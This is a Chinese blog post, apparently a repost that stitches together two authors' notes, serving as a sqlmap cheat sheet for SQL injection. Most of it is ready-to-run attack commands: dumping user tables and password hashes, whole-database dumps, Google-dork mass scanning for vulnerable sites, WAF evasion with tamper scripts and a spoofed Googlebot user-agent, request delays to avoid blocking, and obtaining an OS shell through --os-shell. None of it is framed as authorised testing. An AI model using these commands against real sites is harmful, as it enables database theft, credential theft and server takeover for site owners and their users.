sqlmap使用总结

来源:互联网 发布:东村明子 知乎 编辑:程序博客网 时间:2024/04/30 20:08

这几日,研究了一些sqlmap工具的使用。通过视频,文章和-hh学到好多使用技巧。现在总结一下。文章会引用几位前辈的文章,觉得很好就直接拿过来用了。嘿嘿。。。


**sqlmap 常用命令

    1../sqlmap.py -u "www.xxx.com/news.asp?id=1"        //检查注入点
    2.sqlmap -u "www.xxx.com/news.asp?id=1" --current-user    //获取当前用户名
    3.sqlmap -u "www.xxx.com/news.asp?id=1" --current-db    //获取数据库名,得到库admin
    4.sqlmap -u "www.xxx.com/news.asp?id=1" --privileges    //权限判断
    5.sqlmap -u "www.xxx.com/news.asp?id=1" --users        //枚举管理系统用户
    6.sqlmap -u "www.xxx.com/news.asp?id=1" --passwords        //枚举管理系统用户哈希
    7.sqlmap -u "www.xxx.com/news.asp?id=1" --tables -D "admin"    //查admin库中的表名,得到user表
    8.sqlmap -u "www.xxx.com/news.asp?id=1" --columns -T "user" -D "admin" -v 5    //查字段,v后数字越大越详细,得到id,username,password
    9.sqlmap -u "www.xxx.com/news.asp?id=1" --dump -C "id,username,password" -T "user" -D "admin" -v 5    //拖库,或者使用--dump-all

    10.--dbms "Mysql"    //指定数据库类型
    11.--dbs        //列数据库
    12.--passwords -U root    //指定列数据库用户root的密码
    13.--level 5    //执行测试的等级
    14.--user-agent "Googlebot/2.1"
    15.--tamper "space2morehash.py"
    以上为常用sqlmap命令,其他的请查阅手册。

------------------------------------------------------------------------------------------------
**sqlmap 借助google批量扫注入点

    1.sqlmap -g "site:target.com inurl:asp"    
    2.如果要查询注入选y,跳过选n

    注:大部分查询结果不存在注入


------------------------------------------------------------------------------------------------
**sqlmap 利用编码绕过WAF

    通过不同编码,绕过WAF
    1.sqlmap -u "www.xxx.com/news.asp?id=1" --dbs --tamper "space2morehash.py"    //利用.py脚本改变编码,除了space2hash.py,还有base64encode.py、charencode.py等等,可查/usr/share/sqlmap/tamper
    2.sqlmap.py --proxy http://127.0.0.1:8087 -u "www.xxx.com/news.asp?id=1" -v 3 –dbms “MySQL” --tamper "space2morehash.py" --referer "http://www.google.com" --user-agent "Googlebot/2.1"  //模拟google爬虫

------------------------------------------------------------------------------------------------
**sqlmap post注入

    方法一:结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。
    1.浏览器打开目标地址 http://www.testfire.net/bank/login.aspx
    2.配置burp代理(127.0.0.1:8080)以拦截请求
    3.点击login表单的submit按钮
    4.如下图,这时候Burp会拦截到了我们的登录POST请求
    5.把这个post请求复制为txt, 我这命名为testfire.txt 然后把它放至root目录下
    6.运行sqlmap并使用如下命令:sqlmap -r /root/testfire.txt -p uid,这里参数 -r 是让sqlmap加载我们的post请求testfire.txt,而 -p 为指定注入用的参数。

    方法二:指定参数post注入
    1.sqlmap -u "http://www.testfire.net/bank/login.aspx" --data "uid=Admin&passw=a&btnSubmit=Login"
    方法三: sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

    
------------------------------------------------------------------------------------------------
**sqlmap cookies注入
    1.sqlmap -u "www.xxx.com/news.asp" --cookie "id=1" --current-db
    2.sqlmap -u "www.xxx.com/news.asp" --cookie "id=1" --tables -D "admin"
    ......

    注:注入时有可能存在连接线程数限制,线程设置不要太大

------------------------------------------------------------------------------------------------
**sqlmap 执行shell命令

    在数据库权限足够大的时候,可以使用cmd命令:
    1.sqlmap -u "www.xxx.com/news.asp?id=1" --os-cmd=ipconfig    //执行ipconfig命令
    2.选取该web的脚本种类,此时为asp,选1
    3.指定网站的根目录路径,如:d:\www\

    获得一个shell
    1.sqlmap -u "www.xxx.com/news.asp?id=1" --os-shell
    2.选取该web的脚本种类,此时为asp,选1
    3.指定网站的根目录路径,如:d:\www\
    4.此时可以执行命令,并会在d:\www\下生成两个临时文件(tmpbxbxz.php/tmpuoiuz.php)

------------------------------------------------------------------------------------------------
**sqlmap 伪静态注入

    伪静态页面网址:www.xxx.com/index.php/Index/view/id/40.html
    1.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs    //在存在注入的地方加入*键
    2.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --tables -D "admin"
    ......

------------------------------------------------------------------------------------------------
**sqlmap 延迟注入

    某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
    1.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5    //间隔5秒请求一次
    2.--safe-url        //详细说明请查阅手册
    3.--safe-freq        //详细说明请查阅手册

----------------------------------------------------------------------------------------------------
**sqlmap区分

按照数据库类型注入可以分为 access注入,mysql注入,sql server注入等
按照编程语言可以分为asp注入,php注入,JSP注入,html注入等
按照提交方式注入可以分为post注入,get注入,cookies注入等

以上是根据羽翼教程总结的。

下面这篇文章很好。

作者:s3cf4ck

最近看到很多大牛发sqlmap的视频教程。

然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。
各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。
sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh
所以第一件事当然是滚去看帮助文档。
sqlmap -hh
我操。。。。。。。这么多英文,多少只草泥马在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u“http://xxx.xx.xxx/xx.xxx?xx=xxx” 
2.post型: sqlmap -u“http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u“http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
需要数据库好:–dbs
得到数据库名称xxx,需要表: -D xxx –tables
得到表名xxxx,需要段:-Dxxx -T xxxx –columns
得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump
那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子

好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj–dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj–is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj-a 
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj-D kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj-D kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。

总结下来,帮助文档还是很重要的,多看看,总会有些收获:
为了避免各位看英文看到吐,大概总结下:
Target: 字面意思,目标,那么就是确定目标的
Request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
Optimization:字面意思,调节性能,等等
Injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
Detection:
基本就是用在确认注入范围,寻找注入点区域,这些
Technique:
基本用在确定注入手段,以及攻击方式
Fingerprint:
基本用在指纹识别,用的很少
Enumeration:
枚举信息,主要用在注入中,很重要,很常用
Brute force:
用来爆破,其实主要是枚举tables columns用的
User-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
File system access
主要是文件读取,文件写入
Operating system access 
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit实现后渗透攻击
windows registry access
基本就是注册表操作了
General
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
Miscellaneous
目测高端应用,还没怎么用过,求大神指教
如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。

字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!


http://www.91ri.org/6775.html  这个是比较出名的中文sqlmap用户手册网址。可以对照里面的内容学习。


0 0
原创粉丝点击